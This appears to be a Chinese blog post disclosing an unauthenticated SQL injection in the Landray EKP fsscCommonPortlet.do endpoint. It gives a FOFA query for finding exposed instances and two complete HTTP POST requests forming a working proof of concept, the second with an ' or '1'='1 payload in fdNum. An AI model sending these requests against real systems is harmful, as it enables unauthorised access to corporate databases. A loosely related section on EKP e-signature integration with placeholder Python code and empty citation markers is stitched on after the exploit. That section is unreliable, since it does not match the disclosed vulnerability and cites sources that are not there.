蓝凌EKP系统fsscCommonPortlet.do存在未授权SQL注入漏洞

蓝凌EKP系统fsscCommonPortlet.do存在未授权SQL注入漏洞

蓝凌EKP系统fsscCommonPortlet.do存在未授权SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息。

fofa

app="Landray-OA系统"

poc

访问save方法,填充一下数据库

POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

method=saveICare&fdId=&fdNum=1&docSubject=1&fdName=1&createTime=1&fdStatus=1
POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down
### EKP签名功能概述 EKP是一款企业级的知识管理平台,其提供了丰富的API接口支持开发者实现各种定制化需求。对于签名功能而言,通常涉及的是通过调用特定的API来完成文档或数据的安全验证以及用户身份确认的过程[^1]。 以下是关于如何在EKP中集成签名功能的一个基本示例: #### 配置环境 为了能够成功使用EKP中的签名功能,首先需要确保已经正确配置好开发环境并获取到相应的权限密钥。这一步骤可能包括但不限于下载官方SDK包、设置访问令牌等操作[^2]。 ```python import requests def get_access_token(): url = 'https://your-domain.com/api/auth/token' payload = { 'username': 'your_username', 'password': 'your_password' } response = requests.post(url, data=payload) if response.status_code == 200: token_data = response.json() return token_data['access_token'] else: raise Exception('Failed to obtain access token') ``` #### 实现电子签名请求 当完成了初步的身份认证之后,则可以进一步构建针对具体业务场景下的电子签名校验逻辑。下面给出了一段简单的Python脚本用于演示发送带有数字证书参数至服务器端进行处理的方式[^3]: ```python def create_signature(doc_id, user_id, private_key_path): headers = {'Authorization': f'Bearer {get_access_token()}'} files = {'file': open(private_key_path,'rb')} params = { 'docId': doc_id, 'userId': user_id } signature_url = 'https://your-domain.com/api/signature/create' resp = requests.post(signature_url,headers=headers,params=params,files=files) if resp.ok: result = resp.json() print(f'Signature created successfully: {result}') else: error_message = resp.text print(f'Error creating signature:{error_message}') if __name__ == '__main__': document_identifier = input("Enter Document ID:") employee_number = input("Enter User ID:") key_location = input("Path of Private Key File:") try: create_signature(document_identifier,employee_number,key_location) except Exception as e: print(e) ``` 上述代码片段展示了怎样利用RESTful API向系统提交一份待签署文件的同时附带必要的个人信息字段以便后续审核流程得以顺利开展[^4]。 --- 相关问题
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值